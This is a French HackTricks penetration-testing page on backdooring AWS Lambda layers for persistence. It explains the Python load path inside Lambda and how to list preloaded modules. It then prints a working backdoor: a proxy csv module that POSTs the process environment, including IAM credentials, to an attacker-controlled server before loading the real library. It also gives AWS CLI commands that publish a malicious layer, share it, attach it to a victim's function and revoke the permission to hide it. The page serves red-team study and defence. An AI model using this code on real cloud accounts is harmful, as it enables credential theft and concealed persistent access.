AWS - Lambda Layers Persistence

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Couches Lambda

Une couche Lambda est une archive de fichier .zip qui peut contenir du code supplémentaire ou d'autres contenus. Une couche peut contenir des bibliothèques, un runtime personnalisé, des données ou des fichiers de configuration.

Il est possible d'inclure jusqu'à cinq couches par fonction. Lorsque vous incluez une couche dans une fonction, les contenus sont extraits dans le répertoire /opt de l'environnement d'exécution.

Par défaut, les couches que vous créez sont privées pour votre compte AWS. Vous pouvez choisir de partager une couche avec d'autres comptes ou de la rendre publique. Si vos fonctions consomment une couche publiée par un compte différent, vos fonctions peuvent continuer à utiliser la version de la couche après sa suppression, ou après la révocation de votre autorisation d'accès à la couche. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.

Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous emballez votre runtime préféré, les bibliothèques et autres dépendances dans l'image du conteneur lors de la construction de l'image.

Chemin de chargement Python

Le chemin de chargement que Python utilisera dans Lambda est le suivant :

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Vérifiez comment les deuxième et troisième positions sont occupées par les répertoires où les couches lambda décompressent leurs fichiers : /opt/python/lib/python3.9/site-packages et /opt/python

Si un attaquant parvient à installer une porte dérobée dans une couche lambda utilisée ou en ajouter une qui exécutera du code arbitraire lorsqu'une bibliothèque commune est chargée, il pourra exécuter du code malveillant à chaque invocation de la lambda.

Par conséquent, les exigences sont les suivantes :

  • Vérifier les bibliothèques chargées par le code des victimes

  • Créer une bibliothèque proxy avec des couches lambda qui exécutera du code personnalisé et chargera la bibliothèque d'origine.

Bibliothèques préchargées

En abusant de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont déjà chargées dans l'environnement d'exécution Python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme os ou sys, mais même la bibliothèque json était chargée. Pour abuser de cette technique de persistance, le code doit charger une nouvelle bibliothèque qui n'est pas déjà chargée lorsque le code est exécuté.

Avec un code Python comme celui-ci, il est possible d'obtenir la liste des bibliothèques préchargées à l'intérieur de l'environnement d'exécution Python dans la lambda :

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Et voici la liste (vérifiez que les bibliothèques telles que os ou json sont déjà présentes)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Et voici la liste des bibliothèques incluses par défaut dans lambda: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Introduction d'une porte dérobée dans la couche Lambda

Dans cet exemple, supposons que le code ciblé importe csv. Nous allons introduire une porte dérobée dans l'import de la bibliothèque csv.

Pour ce faire, nous allons créer le répertoire csv avec le fichier __init__.py à l'intérieur, dans un chemin chargé par lambda : /opt/python/lib/python3.9/site-packages Ensuite, lorsque la lambda est exécutée et tente de charger csv, notre fichier __init__.py sera chargé et exécuté. Ce fichier doit :

  • Exécuter notre charge utile

  • Charger la bibliothèque csv d'origine

Nous pouvons faire les deux avec :

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Ensuite, créez une archive zip avec ce code dans le chemin python/lib/python3.9/site-packages/__init__.py et ajoutez-le en tant que couche lambda.

Vous pouvez trouver ce code sur https://github.com/carlospolop/LambdaLayerBackdoor

La charge utile intégrée enverra les informations d'identification IAM à un serveur LA PREMIÈRE FOIS qu'elle est invoquée ou APRÈS une réinitialisation du conteneur lambda (changement de code ou lambda froid), mais d'autres techniques telles que celles-ci pourraient également être intégrées:

pageAWS - Steal Lambda Requests

Couches Externes

Notez qu'il est possible d'utiliser des couches lambda provenant de comptes externes. De plus, une lambda peut utiliser une couche provenant d'un compte externe même si elle n'a pas les autorisations. Notez également que le nombre maximal de couches qu'une lambda peut avoir est de 5.

Par conséquent, pour améliorer la polyvalence de cette technique, un attaquant pourrait:

  • Installer une porte dérobée dans une couche existante de l'utilisateur (rien n'est externe)

  • Créer une couche dans son compte, donner l'accès du compte de la victime pour utiliser la couche, configurer la couche dans la lambda de la victime et supprimer l'autorisation.

  • La Lambda pourra toujours utiliser la couche et la victime n'aura aucun moyen facile de télécharger le code des couches (à part obtenir un shell inversé à l'intérieur de la lambda)

  • La victime ne verra pas les couches externes utilisées avec aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

D'autres façons de soutenir HackTricks :

Dernière mise à jour